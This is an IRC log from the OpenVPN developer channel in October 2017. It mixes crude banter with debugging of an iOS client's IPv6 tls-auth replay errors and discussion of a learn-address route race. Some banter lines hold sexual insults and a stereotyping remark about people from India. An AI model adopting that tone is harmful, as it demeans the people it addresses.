<+novaflash> life sucks, then you die 08:20 <+novaflash> i've got friends in oxford, salisbury, hull, and southampthon. wheresabouts are you? 08:21 <+novaflash> and also cornwall but who bothers with cornwall 08:22 < slypknot> There are three type of hengelish women that I have encountered : (1) they don't like me (for what ever reason) (2) they like me but as a freind (I tend to like those too much) (3) they are all over me (and a bit too fat) .. But now I have been with the current one who is a bit all all three 08:23 < slypknot> i am in london *cough* the ol' Smokey 08:23 <+novaflash> the great smog 08:23 <+novaflash> it's impressive that you found a combination of all three. how do you keep track of her multiple personalities? :-P 08:24 < slypknot> that's why i like her :) 08:24 <+novaflash> 1/3 repulsed, 1/3 attracted, 1/3 repulsive 08:25 <+novaflash> this is an odd mix 08:25 < slypknot> opposites attract 08:27 < slypknot> enough of this silly banter .. have a nice day (cunt) ;) 08:27 <+novaflash> bye wanker 08:27 <+novaflash> <3 08:31 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 246 seconds] 08:32 < slypknot> novaflash: classic case in point : https://forums.openvpn.net/viewtopic.php?f=33&t=24997#p73805 08:32 <@vpnHelper> Title: Android OpenVPN Connect - get profiles - OpenVPN Support Forum (at forums.openvpn.net) 08:33 <+novaflash> god you're so sarcastic 08:33 <+novaflash> i mean the sarcasm is just dripping off here man 08:33 <+novaflash> now i have to clean my screen 08:33 <+novaflash> okay now it's clean :) 08:33 <+novaflash> the problem with text communication is that the tone of voice is not communicated along with the text 08:34 <+novaflash> i think it says much about the person making the accusation about sarcasm - you could also try to approach things from a more positive point of view but apparently this was not the path chosen by this person. 08:35 < slypknot> hehehe 08:36 < slypknot> It is right there .. the very last item .. "Contact the developers ... " 08:36 <+novaflash> no need to be sarcastic!! geez 08:36 < slypknot> I even pointed out she is developing her own app .. why she expect help for that eh ? oh well 08:37 <+novaflash> it's difficult sometimes to deal with people asking questions, day in day out 08:37 <+novaflash> you start to compare people to one another, and that's when things get dangerous 08:37 < slypknot> i wonder if they even know what sarcastic means .. or is it a generic insult leveled when you don't get the help you want :D 08:37 <+novaflash> and you may snap out at someone who's just there for the first time and just asking a simple question 08:37 <+novaflash> always be vigilant! 08:38 < slypknot> meh .. i judge each person by their thread 08:38 <+novaflash> but some people are just ungrateful sacks of shit 08:39 < slypknot> what pisses me off is when they expect someone to do their actual day job for them ! 08:39 < slypknot> and .. it is not even openvpn they want help with ! 08:39 <+novaflash> why do you put the exclamation point after a space at the end of the sentence ! 08:40 < slypknot> like how do a route this to that (and they don't know what rpouting is ) and I say contact your network admini and they say "that's me!" 08:40 <+novaflash> why is it that people from india always say things like "Please do the needful." 08:40 <+novaflash> slypknot: lucky you! 08:40 < slypknot> i press space bar too much 08:42 <+novaflash> i also am spaced out fairly often 08:44 < slypknot> well you are dutchy 08:45 <+novaflash> it's all compensation you know 08:45 <+novaflash> we don't have tall mountains 08:45 <+novaflash> so we get high in other ways 08:47 < slypknot> lol 08:48 < slypknot> a long time ago I went to amsterdam .. they had this wee little firetruck that would drive around ringing it's siren .. there was no fire ! 08:49 < slypknot> ringing its bell infact .. 08:49 < slypknot> I am sure it was to stop the tourists trying to smuggle stuff out of the country 08:49 < slypknot> the paranioa police ! 08:50 <+novaflash> i think you had too many mushrooms 08:50 < slypknot> maybe :) 09:20 < slypknot> novaflash: do you get to see reported posts on the forum ? 09:42 <+novaflash> uh perhaps 09:42 <+novaflash> i don't bother looking at the forum like that.. i just get messages that someone posted shit and i take a look 09:45 < slypknot> can you see this : https://forums.openvpn.net/mcp.php?f=36&p=72824&i=reports&mode=report_details#reports 09:45 <@vpnHelper> Title: OpenVPN Support Forum - Moderator Control Panel - Login (at forums.openvpn.net) 09:45 < slypknot> basically someone is reporting spAM but I can't decide if it is or not 09:45 < slypknot> it probably is 09:46 <+novaflash> yeah that looks like fucking spam 09:47 < slypknot> cool .. so you can see the MOD queue .. you want to sort it ? 09:48 < slypknot> much obliged ducky ;) 09:48 <+novaflash> british cock hair 09:48 <+novaflash> let's see, that was only one post 09:48 < slypknot> suck my chocolate salty balls big guy ; 09:48 < slypknot> ) 09:49 <+novaflash> negatory 10:44 -!- dazo [~meme@openvpn/corp/developer/dazo] has joined #openvpn-devel 10:44 -!- mode/#openvpn-devel [+o dazo] by ChanServ 12:40 <@ecrist> If your interview is at 1pm, don't show up at 12:40pm 12:40 <@ecrist> :\ 13:11 <@dazo> heh 13:12 <@dazo> I can be outside the site 15 minutes before ... just to be sure I won't be delayed due to traffic/public transport issues ... but enter the building/reception 2-3 minutes before 13:17 < slypknot> show up late but with a hilarious excuse ;) 13:18 < slypknot> (done it myself and got the job) 13:18 < slypknot> ecrist: I have phpbb3 up and running , it will take me a while to work it out but progress :) 14:13 <@ecrist> slypknot: the openvpn forum style is on github 14:13 <@ecrist> https://github.com/ecrist/openvpn-forum-template 14:13 <@vpnHelper> Title: GitHub - ecrist/openvpn-forum-template: OpenVPN Forum Template (at github.com) 14:29 < slypknot> ecrist: yeah i remembered from before .. have not got to that level yet tho 14:58 -!- dazo [~meme@openvpn/corp/developer/dazo] has quit [Quit: Leaving] 15:23 < slypknot> which is "more" secure : 'localhost' (relies on DNS) or '127.0.0.1' ? 15:39 < floppym> I would expect all systems to have localhost defined in /etc/hosts. 21:12 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 260 seconds] 21:20 <@ordex> natewin: there should be a new beta version available since few hours. Did you give it a spin ? --- Day changed Fri Oct 27 2017 00:37 <@cron2> slypknot: 127.0.0.1 is such a thing of the past -> ::1 00:54 <@ordex> :) 01:59 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 03:34 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 260 seconds] 03:40 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 03:41 -!- mode/#openvpn-devel [+o pekster] by ChanServ 06:37 -!- dazo [~meme@openvpn/corp/developer/dazo] has joined #openvpn-devel 06:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:38 <@dazo> FYI: I'm currently lacking access to my irc bouncer .... and will not have any scrollbacks to go through 06:39 <@dazo> (at the same time, mail server where all ML traffic goes to is currently unavailable too .... so those mails are just queued up waiting for delivery) 06:40 <@dazo> Hopefully everything will be sorted out by Sunday 07:29 <+novaflash> dazo: good now we can talk behind your back 07:30 <@dazo> hehehe 07:30 * dazo looks at vpnHelper and the irc logs it might keep ...... 07:33 <@dazo> !irclogs 07:33 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/openvpn.txt and are updated in real-time while ecrist is online. 07:33 <@dazo> oh there we go :) 07:33 <@dazo> (not updated, but enough to figure out the -devel channel :) ) 07:34 <@dazo> uhm .... darn .... 07:34 <@dazo> --- Day changed Fri May 05 2017 07:34 <@dazo> latest one :/ 07:56 <@ecrist> let me upload 07:56 <@ecrist> my irc bouncer used to be my web server 07:56 <@ecrist> it is not any longer 08:02 <@ecrist> there you go, dazo 08:02 <@ecrist> openvpn2017.log is up to date 08:02 <@ecrist> openvpn-devel.log is also up to date 08:08 <@dazo> ecrist: thx! 12:33 < slypknot> novaflash: i bet you are in your badly built shed jacking off to some gay porn ! 13:17 -!- mode/#openvpn-devel [+o novaflash] by dazo 13:17 * dazo sits back and waits .... 13:27 <@novaflash> i didn't even have any porn at hand today 13:33 -!- mode/#openvpn-devel [-o novaflash] by dazo 13:34 * dazo calls it a week 13:34 -!- dazo [~meme@openvpn/corp/developer/dazo] has quit [Quit: Leaving] 13:38 < slypknot> ;) 13:38 <+novaflash> i guess i disappointed him too many times 13:39 < slypknot> him=your hand :D 13:40 < slypknot> man .. i wish i was in amsterdam ! 13:40 <+novaflash> what's going on there? 13:41 < slypknot> not enough ! 13:41 < slypknot> i quit smokin 13:45 <+novaflash> condolences 13:45 < slypknot> yeah .. physically but not spiritually ! ;) 13:46 < slypknot> tbh .. i just insulted you so dazo could check the irc log was upto date ;) 13:48 <+novaflash> uh when did you insult me? 13:52 < slypknot> novaflash: https://forums.openvpn.net/viewtopic.php?f=5&t=25142 .. no sarcasm ;) 13:52 <@vpnHelper> Title: How install OpenVPN Access Server With Admin UI ? - OpenVPN Support Forum (at forums.openvpn.net) 13:53 < slypknot> I mentioned your 'badly built shed' 13:53 <+novaflash> yes i can see how that can be terribly insulting 13:54 <+novaflash> oh uh i believe it is customary to respond 13:54 <+novaflash> i express strong disagreement at your expressions of dissatisfaction with my construction methods 13:55 < slypknot> i'll sow you mine if you show me yours :D 13:55 <+novaflash> my house? 13:55 < slypknot> you shed ... gaah ! 13:56 < slypknot> your* 14:00 <+novaflash> https://crashed.computer/stinkyknot/20171016_172627.jpg 14:00 <+novaflash> here, enjoy a picture of a cat being where she is not supposed to be. 14:15 < slypknot> LOL 14:15 < slypknot> nice 14:15 < slypknot> your cat ? 14:17 <+novaflash> my ex's actually 14:17 <+novaflash> she's always going up on the kitchen counter when i'm not looking, the naughty creature 14:18 <+novaflash> the cat, not my ex 14:18 <+novaflash> they're moving out now in a few weeks time 14:18 <+novaflash> her cat's a menace but still kinda cute 14:18 < slypknot> cats man .. they are soo cool ;) 14:19 <+novaflash> i like the cats more than i like my ex :-P and this cat's an asshole so go figure 14:19 < slypknot> LMAO :D 14:20 < slypknot> place i rented at uni .. the old woman had about 12 cats .. there was this one that was deaf and half blind .. but it was soo cool ;) 14:20 <+novaflash> https://i.imgur.com/PfAzHW6.mp4 14:20 < slypknot> HAHAHAHAHAHAHAH 14:21 <+novaflash> i've got two cats of my own so i won't be without 14:21 < slypknot> classic 14:24 < slypknot> Ever had a cat move in without your permission ? 14:25 <+novaflash> no but i have one in the backyard practically living there 14:26 <+novaflash> it's a sad story. the cat arrived here with fur in a very bad shape, big open wound on her hind leg, pieces of fur missing, skittish as hell 14:26 <+novaflash> she was eating bread left out for birds 14:26 <+novaflash> cats don't eat bread unless they're starving to death 14:26 <+novaflash> she had no reserves left 14:26 < slypknot> This girl i knew had a cat .. she went to work and came home and a different cat was in her house .. and the first cat was never seen again 14:26 <+novaflash> LOL 14:27 < slypknot> they have their own rules man ! 14:27 <+novaflash> we took pictures when we could and posted them online. never a response. so we fed her. 14:27 <+novaflash> eventually won her trust and put her in a cat carrier. she was not happy. took her to a vet, turns out she was chipped! got a phone number, called them. never a response. called them like 10 times or so. nothing. 14:28 <+novaflash> but she was chipped so can't just take her in just like that, besides we have 3 indoor cats atm and i dunno what kind of diseases this one iwll bring in so she's staying outside 14:28 <+novaflash> months later though, she's doing much better 14:28 <+novaflash> then the owner shows up and accuses me of hurting her and accuses me of causing her to be thin (while we've been feeding her..??) 14:29 <+novaflash> nearly had a fist fight with the idiots. we put her in a carrier and took her to where the idiot lives. 14:29 <+novaflash> first thing she does? tries to get away from him. in panic worms out of his hands and onto his face and back, put some good scratches in his back and she ran off. 14:30 <+novaflash> told the idiot that if he wants to keep the cat in his own house he should feed it and take care of it. 14:30 <+novaflash> i walked back home 14:30 < slypknot> good greif .. cats are not slaves 14:30 <+novaflash> and there she was again in the back yard purring like crazy 14:30 < slypknot> but i really see your point 14:30 <+novaflash> yeah man it's really awful 14:30 <+novaflash> so we have a routine now 14:30 < slypknot> life ! 14:30 <+novaflash> i put yummy foods in bowls out for my indoor cats 14:30 <+novaflash> they tend to eat the yummy sauce and leave the meat 14:31 <+novaflash> so i put the meat out for the cat outside 14:31 <+novaflash> she loves it, eats all of it 14:31 <+novaflash> she's healed up now, i've treated her against ticks and stuff, dewormed her with some pills, her fur is shiny and healthy, and she's even getting a little chubby now 14:32 <+novaflash> the idiot hasn't bothered us again but at the time he made threats of physical harm to me and my then girlfriend 14:32 <+novaflash> made a report to the cops about it too. asshole. 14:32 <+novaflash> just in case he ever does anything, i have that on record at least 14:33 < slypknot> that is so amazin that someone cares that much about a cat that does not like them ! :D 14:36 <+novaflash> do you mean the asshole guy or the asshole me? 14:36 < slypknot> the guy .. not you 14:36 < slypknot> the cat chooses 14:37 <+novaflash> yep 14:37 <+novaflash> i name her pussi tricolore 14:38 < slypknot> seriously .. i know what you mean 14:38 <+novaflash> it's one of those white, orange, black, tri-color cats 14:38 < slypknot> the cats personality is all that counts# 14:38 <+novaflash> kind of like this computer but then in cat form https://crashed.computer/tech/index.php?cmd=image&sfpg=KndpdGhjb2xvci5qcGcqYjRjZmIwNmQ5OWY2ZmY1NWI3ZDhmYjdjMDQyYmFhYWY 14:42 < slypknot> my life will never be the same .. 14:43 <+novaflash> correct. 14:43 <+novaflash> so who here is going to be at that hackathingee in germany? 14:57 -!- mode/#openvpn-devel [+o novaflash] by ChanServ 15:34 <@cron2> novaflash: cats choose their personnel :-) 15:34 <@cron2> so the question of ownership is easily settled when cats are involved 15:35 <@cron2> I've had cats most of my life, and quite a number of cats have decided that my parent's place is what they will call home now... :) 15:42 <@cron2> ordex, syzzer: I just received a report that "iOS client with tls-auth will not connect to unix server over v6, while v4 works fine" - without tls-auth, v6 works 15:42 <@cron2> ever heard anything along that lines? Doesn't make sense to me, but maybe he found a new bug 15:43 <@cron2> welcome :) 15:43 <@cron2> ordex, syzzer: GPF is the one who has the problem 15:43 < GPF> hi! 15:44 <@cron2> GPF: ordex is the current maintainer of the iOS client, and syzzer is the one who understands crypto. And I think they are both asleep now... syzzer is in .NL while ordex is in Hongkong 15:44 <@cron2> so I'd expect a reply from ordex around 4am our time 15:45 <@cron2> (and *I* go to bed now as well :) ) 15:45 < GPF> okay :) 19:35 <@ordex> cron2: GPF: I have been using OpenVPN Connect with IPv6 and tls-auth without any issue 19:35 <@ordex> I suspect it is something else that gets triggered 19:36 <@ordex> tls-auth dos not know what's below. As you said, it does not really make sense 19:36 <@ordex> but we can't exclude it's some weird bug .. 19:50 <@ordex> cron2: GPF: do we know for sure that the connection fails at tls-auth time ? --- Day changed Sat Oct 28 2017 03:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 03:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:19 < GPF> ordex: hmmm 04:19 < GPF> ordex: this is the exact error: 04:19 < GPF> Oct 27 22:50:51 alita ovpn-vpn[1384]: 2001:4c50:62f:8800:cdec:24df:8a98:6574 Authenticate/Decrypt packet error: bad packet ID (may be a replay): [ #1 / time = (1509137434) Fri Oct 27 22:50:34 2017 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings 04:19 < GPF> Oct 27 22:50:51 alita ovpn-vpn[1384]: 2001:4c50:62f:8800:cdec:24df:8a98:6574 TLS Error: incoming packet authentication failed from [AF_INET6]2001:4c50:62f:8800:cdec:24df:8a98:6574:63427 04:20 < GPF> The "incoming packet authentication failed" made me think it has to do with tls-auth 04:20 <@ordex> GPF: is this mssage showing up on the server? 04:20 <@ordex> GPF: every packet is encrypted and authenticated (well, *-GCM ciphers do both in one go) 04:20 < GPF> ordex: on the server yes 04:20 < GPF> ordex: client only gets timeout 04:20 < GPF> then recoonects via v4 which works fine 04:20 <@ordex> GPF: do you have a longer log ? from the first received packet? 04:20 <@ordex> oh I see 04:20 < GPF> ordex: no that is all I see in the log 04:21 <@ordex> are you using verb 4 ? 04:21 < GPF> no 04:21 <@ordex> if not, any chance you could switch it on? or you can't restart the server? 04:21 < GPF> let me change that 04:21 <@ordex> thanks! 04:21 < GPF> I can no problem 04:21 < GPF> it's not live 04:21 <@ordex> alright 04:21 <@ordex> later I'll try to reproduce it here 04:23 < GPF> ordex: https://gist.github.com/sebastianw/1cb0b4c097d0f88a4d2d82be28448f32 04:23 <@vpnHelper> Title: ovpn-log.txt · GitHub (at gist.github.com) 04:23 <@ordex> GPF: is that the very first line from the client connection ? 04:24 < GPF> ordex: do you need/want the configuration from the server/client? 04:24 < GPF> ordex: yes 04:24 <@ordex> oh ok 04:24 <@ordex> lemme read 04:24 < GPF> ordex: it connected before via v4 so I had disconnect/reconnect it a few times 04:24 <@ordex> yeah 04:24 <@ordex> I see 04:24 <@ordex> Oct 28 11:22:16 alita ovpn-vpn[7837]: 2001:4c50:62f:8800:cdec:24df:8a98:6574 Re-using SSL/TLS context 04:24 < GPF> until it chose v6 04:24 <@ordex> so it looks like some stuff were initialized already 04:24 <@ordex> mhhh 04:24 < GPF> hmm 04:25 <@ordex> could you force ipv6 only so we have a clean connection on ipv6 from scratch ? 04:25 <@ordex> anyway, I think there is some info already here 04:26 <@ordex> weird tha this is somehow related to ipv6 04:26 <@ordex> *that 04:26 < GPF> I can remove the v4 address of the server 04:26 <@ordex> from the config ? 04:26 <@ordex> *client config 04:26 < GPF> no from the fqdn 04:26 <@ordex> ah 04:26 < GPF> so that I don't need to change the confi 04:26 <@ordex> that'll take some time, the apple device might be caching it 04:26 < GPF> hm okay 04:27 < GPF> I can firewall the v4 on the server 04:27 <@ordex> or you could listen on v6 only on the server ? 04:27 <@ordex> also 04:27 <@ordex> that's also an option 04:27 < GPF> I can, how do I do that? 04:27 < GPF> I was already looking for it in the config, I think I read that soemwhere but there are a lot of options :D 04:27 <@ordex> I think 'prodo udp6' + 'listen [local v6]' 04:27 <@ordex> :D 04:27 <@ordex> yeah 04:28 <@ordex> ah no listen is wrong 04:28 <@ordex> wait 04:28 <@ordex> :D 04:28 <@ordex> I think 'bind ipv6only' together with 'proto udp6' 04:28 <@ordex> should work 04:30 < GPF> umm 04:30 < GPF> when I do that it works 04:30 < GPF> so now it connects via v6 04:30 < GPF> I did only a "listen <v6-adddress>" in the config 04:30 < GPF> erm 04:30 < GPF> "local <v6-address>" 04:31 <@ordex> yeah same. that will just bind to a specific ip 04:31 <@ordex> bin ipv6only will still listen on :: 04:31 <@ordex> *bind 04:31 <@ordex> but yeah 04:31 <@ordex> ok, so now it works? 04:31 <@ordex> I wonder if the problem is rather that by switching from v4 to v6 there is some state that triggers the error 04:32 <@ordex> because, as you have seen, some state is kept across reconnections 04:32 <@ordex> and maybe keeping that across IP version change is what is triggering the issue 04:33 <@ordex> syzzer: ^^ 04:33 < GPF> ordex: NOw it works yeah 04:33 < GPF> ordex: I updated the gist with client and server config I use right now 04:34 <@ordex> do we have the links to those gists? 04:34 <@ordex> well, the client hasn't changed, right ? 04:34 < GPF> ordex: https://gist.github.com/sebastianw/1cb0b4c097d0f88a4d2d82be28448f32 04:34 <@vpnHelper> Title: client.ovpn · GitHub (at gist.github.com) 04:34 <@ordex> GPF: one test you could do is to restore the original server config and change the client config to only try ipv6 04:34 < GPF> okay 04:35 <@ordex> I think simply specifying udp6 at the end of the remote line should suffice 04:36 < GPF> yeah, I'll do that 04:36 <@ordex> thanks. if we verify this, it definitely sounds like something that either is not reset or is reset badly 04:40 < GPF> hm udp6 didn't work it still connects via v4 04:40 < GPF> strange 04:40 <@ordex> ah 04:40 <@ordex> mh 04:40 < GPF> I'll enter the ip 04:41 <@ordex> the client is OpenVPN Connect, no ? 04:41 < GPF> yeah 04:41 <@ordex> mh can't remember what it is doing actually .. the code has changed a bit and we have a new release coming out soon 04:41 <@ordex> but weird, it should have worked[tm] 04:43 < GPF> okay 04:43 < GPF> so I use ipv6 ip in the client conf 04:43 < GPF> it doesn't work 04:43 <@ordex> did the server show Re-using SSL/TLS context 04:43 <@ordex> ?? 04:43 < GPF> yeah 04:43 < GPF> it did 04:44 < GPF> strangely enough 04:44 <@ordex> then it hooked back on the old v4 session i think 04:44 <@ordex> no? 04:44 <@ordex> try restarting the server 04:44 < GPF> I can restart the client app and the server 04:44 < GPF> yeah 04:44 < GPF> one moment 04:44 <@ordex> sure :) 04:44 <@ordex> thanks for taking the time to do all this 04:44 < GPF> no problem 04:44 < GPF> :) 04:45 < GPF> ordex: okay.. so I restarted 04:45 < GPF> it's still saying that it is reusing context 04:45 < GPF> and it still doesn't work 04:46 < GPF> ordex: I have a second instance running in p2p mode that has nothing to do with this one... this can't be the problem can it? 04:46 <@ordex> oh interesting 04:46 <@ordex> on the server ? 04:46 < GPF> second server 04:46 < GPF> separate process and all 04:46 <@ordex> nah they don't even know about each other 04:46 <@ordex> yeah 04:46 < GPF> oka 04:46 < GPF> +y 04:47 <@ordex> well, this is interesting ...so if the server listens on v6 :: dual stack, it triggers this re-using context 04:47 <@ordex> if forced on a special IPv6 it works 04:47 < GPF> Oct 28 11:44:33 alita ovpn-vpn[25309]: Initialization Sequence Completed 04:47 < GPF> Oct 28 11:45:12 alita ovpn-vpn[25309]: MULTI: multi_create_instance called 04:47 < GPF> Oct 28 11:45:12 alita ovpn-vpn[25309]: 2001:4c50:62f:8800:cdec:24df:8a98:6574 Re-using SSL/TLS context 04:47 <@ordex> GPF: since you just restarted the server, could you please paste the entire log from beginning to end? 04:47 < GPF> sure 04:47 <@ordex> just to have a complete overview 04:47 < GPF> I can, one moment 04:47 <@ordex> thanks 04:49 < GPF> https://gist.github.com/sebastianw/41cd4f48c9d54c0cd024b49bbe3bfd23 04:49 <@vpnHelper> Title: openvpn-server.log · GitHub (at gist.github.com) 04:50 <@ordex> awesome, thanks :) 04:50 <@ordex> syzzer: https://gist.github.com/sebastianw/41cd4f48c9d54c0cd024b49bbe3bfd23 << re-using tls/ssl context upon first connection + rejection of tls-auth because of replay 04:50 <@vpnHelper> Title: openvpn-server.log · GitHub (at gist.github.com) 04:50 <@ordex> let's spam his irc logs :P 04:51 < GPF> okay :D 04:52 < GPF> I'll be away for a while (family event). I'll be back sometime tomorrow but I'll read the backlog and I'll get a ping on mobile if someone mentions me here 04:52 <@ordex> GPF: do you use OpenVPN connect for some project/work ? 04:52 <@ordex> sure! 04:52 <@ordex> enjoy! 04:52 < GPF> ordex: that is my private server :) 04:52 <@ordex> alright :) 04:53 <@ordex> maybe you'd be interested in testing the alpha version of the next release of Connect for iOS ? :) 04:53 < GPF> A few people (including me) would love to use it at work but the ipsec fraction is a strong one here 04:53 <@ordex> hehe 04:53 < GPF> ordex: sure why not 04:53 <@ordex> legacy :P 04:53 < GPF> expensive legacy that is 04:53 <@ordex> of course :D 04:53 < GPF> Actually I used openvpn at my old workplace 9 years ago 04:53 < GPF> already 04:54 < GPF> for vpn connections 04:54 < GPF> worked great even back then 04:54 <@ordex> nice 04:57 < GPF> so let me know if you need anything else, I'm off now! 04:58 <@ordex> sure! 05:33 <@ordex> why in src/openvpn/proto.h we have all the standard pkt headers redefined? why can't we get those from an include? 08:53 <@cron2> mornin 08:57 <@ordex> moin moin 08:57 <@cron2> ordex: wrt proto.h - that is legacy, I think ("we do not know whether all platforms have this, so make sure we have our own"). I'm open to kicking this all out, but this will need good testing across the board 08:57 <@cron2> "legacy" = "it was that way when I first looked", so older than 2.1 08:57 <@ordex> I am pretty sure sunOS v1.2.445.1337 will complain :P 08:58 <@ordex> hehe yeah 08:58 <@cron2> not sure I care about SunOS v1.4 :-) - we don't even support SunOS 4 08:58 <@ordex> maybe we can check if any standard includes those headers and make a safe bet 08:58 * ordex has never seen SunOS 08:58 <@ordex> :P 08:58 <@ordex> well, only once, but it was not mine :> 08:59 <@cron2> I have a machine with the latest SunOS4 machine in the basement, but it has not been booted in... uh... 10? years... 08:59 <@cron2> more 08:59 <@cron2> it got the y2k upgrade, and then it was decommissioned 08:59 <@ordex> hehe I see 09:00 <@cron2> anyway, recent-enough Solaris and AIX "should" have all the headers, though we might need some -D__POSIX_SOURCE or the like - that's what I mean with "testing across the board needed" :) 09:00 <@cron2> Linux and *BSD should be easy going 09:00 <@cron2> mingw/MSVC needs an extra round for everything... 09:03 <@ordex> yeah 09:03 <@ordex> do we have hw for all those tests? like: how do we normally check such changes? your buildbots zoo is broad enough to cover some of those archs? 09:57 <@cron2> the buildbot zoo is large enough (except for AIX, that one I have to do manually) 09:59 <@cron2> but we need to add test branches to github that "anyone" (you, syzzer, ...) can commit to which will then get built and tested on the slaves 09:59 <@cron2> meeting topic :) 09:59 <@cron2> (right now I manually copy/push around test trees when I think I have something that "should work everywhere", and then I refine things platform by platform...) 10:19 <@ordex> cron2: yeah I like the idea of the special branches --- Day changed Mon Oct 30 2017 04:11 <@syzzer> ordex, GPF: just a guess: IPv6 headers are bigger than IPv4 headers are. Could it be that if the initial connection is set up using v4 the allocated buffers are nog large enough to fix max-size v6 packets or so? 04:12 <@syzzer> that would cause tls-auth authentication failures, because it will try to verify an incomplete (thus incorrect) HMAC 04:12 <@syzzer> would also be interesting to see if this can be reproduced using other clients 04:15 <@ordex> syzzer: when the server listens on v6 only it works 04:15 <@ordex> so it is not exactly realted to ipv6 only 04:15 <@ordex> but some other coincidence, I guess? 04:15 <@syzzer> hm, no, ignore that. This is bad packet ID, not an HMAC failure. 04:15 <@ordex> yeah replay 04:16 <@ordex> and the message about reusing the context is definitely bogus 04:16 <@ordex> probably something weird triggers the reuse of a random state 04:16 <@syzzer> ordex: nah, it's just a bit strange :-p 04:16 <@ordex> thus triggering the replay error 04:16 <@ordex> :D 04:16 <@syzzer> it is "re-using the top-level context" or so 04:18 <@ordex> maybe, I haven't checked any code yet :P 04:21 <@syzzer> me neither, and no time to do so today either :( 04:22 <@syzzer> but yeah, interesting 04:24 <@ordex> same here :/ 04:24 <@ordex> and I also wonder if this can be reproduced with a plain openvpn 2 client 04:24 <@ordex> although the problem should be on the server given that the client could work and not work based on server settings only .... but who knoes 04:24 <@ordex> knows 04:24 <@syzzer> GPF: this looks worthwhile to investigate. Could you create a ticket on https://community.openvpn.net/openvpn/newticket (account required, to prevent spam) 04:25 < GPF> syzzer: Yes I can 04:25 <@syzzer> great! 04:26 < GPF> syzzer: I'll probably do it tomorrow as today is kind of busy. 04:26 <@syzzer> GPF: works for me - too busy today too :) 04:34 <@cron2> syzzer: GPF is good at spotting weird effects :-) - his name is well-feared in network vendor circles, like Juniper ;-) 04:44 < GPF> I do what I can ;) 04:50 <@cron2> some of us just have more talent ;-) 05:32 <@syzzer> hmm, so it was "dangerous" to talk him into a trac account ;-) 06:02 <@ordex> too late I guess :D 06:17 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 06:17 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:49 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 258 seconds] 13:09 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o cron2] by ChanServ 13:09 <@cron2> hardware sucks 20:08 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 248 seconds] 20:14 <@vpnHelper> RSS Update - tickets: #951: learn-address script should have dev env variable defined for delete too <https://community.openvpn.net/openvpn/ticket/951> 20:16 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 20:16 -!- mode/#openvpn-devel [+o pekster] by ChanServ 23:16 <@ordex> cron2: we should have a softwareworld --- Day changed Tue Oct 31 2017 00:56 <@cron2> whatever that is :) 01:23 <@ordex> :D 01:48 <@ordex> guys, regarding the community meeting I am not sure I can still make it from now on as it now will (usually) be 2AM my time due to the daylight saving time change of the last weekend 01:49 <@ordex> I may join when required or comment on the agenda beforehand 01:49 <@ordex> unless we have room for moving it, but I guess it was not easy 02:17 <@cron2> moving it +2 hours would work for me, but that is still 4am for you 02:18 <@ordex> yeah, not really time for me to wake up yet 02:18 <@ordex> :p 02:46 <@cron2> moving it to our afternoon collides with work and family, so that's likely not working out for me. We might reconsider moving to our morning time, but I can't say whether this works for dazo, syzzer, mattock 03:06 <@ordex> yup, that's an option. let's see what the others think about 03:52 <@syzzer> morning is not impossible, but will likely often collide with office appointments 03:53 <@syzzer> we could give it a try though 04:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 04:00 <@ordex> cron2: I think the guy in #951 is right now? that scenario is racy for the route removal 04:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:02 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:03 <@ordex> syzzer: giving it a try would be nice. and recently we are being quite short at meeting, so hopefully this will help 04:08 <@ordex> cron2: although I am not sure how this guy can use the same subnet on both servers ? 04:08 <@syzzer> James will never be able to join btw, but I guess that's fine now that dazo and you represent the tech devs 04:09 <@ordex> in the past he said that 1AM his time might be good for meeting (if needed) because he uses to work late......so if we have to discuss something where we need his input we can still try to pull him in 04:09 <@ordex> but we can see case by case, so far he joined only once 04:09 <@ordex> and btw, 'tech' has been dropped from the company name :D 04:10 <@ordex> you can refer it as the 'inc' :D if you want 04:11 <@syzzer> ah, ok 04:20 <@dazo> I'm usually able to handle anything from 11:00 and until midnight 04:23 <@dazo> but I'd prefer if we have Monday or Wednesday ... as that is typical meeting days for me, so that is what is most efficiently for me 04:32 <@dazo> regarding James, I think he will just be interested in new features which we need to cover on both OpenVPN 3 and openvpn 2.x .... He is very much focused on the OpenVPN 3 side of things, and the services OpenVPN, Inc provides .... perhaps he'd be willing to talk more about that during the hackathon 05:13 <@cron2> ordex: well, that's what you need learn-address scripts for - using the same static client IP on multiple openvpn processes (tcp and udp, for example) 05:13 <@ordex> ah ok and then setting up the routing accordingly to make it work 05:14 <@cron2> right, so ccd tells openvpn (ifconfig-push and iroute), openvpn tells learn-address, learn-address tells "ip route" 05:17 <@ordex> yup makes sense 05:17 <@cron2> I think my script actually does "delete old, install new" on "learn", and just ignores the route on "unlearn". But I need to check :) 05:17 <@ordex> still, the guy is right saying that this can be racy, no? because if the client switches instance quite fast the learn-address-delete may come after the client has comleted its connection 05:17 <@cron2> right 05:18 <@cron2> openvpn is fairly lazy when it comes to unlearning routes 05:18 <@ordex> if you do 'delete old. add new' you will keep old routes for permanently disconnected clients, righ t? 05:19 <@cron2> yes... not a problem in my current usage scenario, but problematic for "use this for internet access" where you might end up at a cluster of boxes, so local 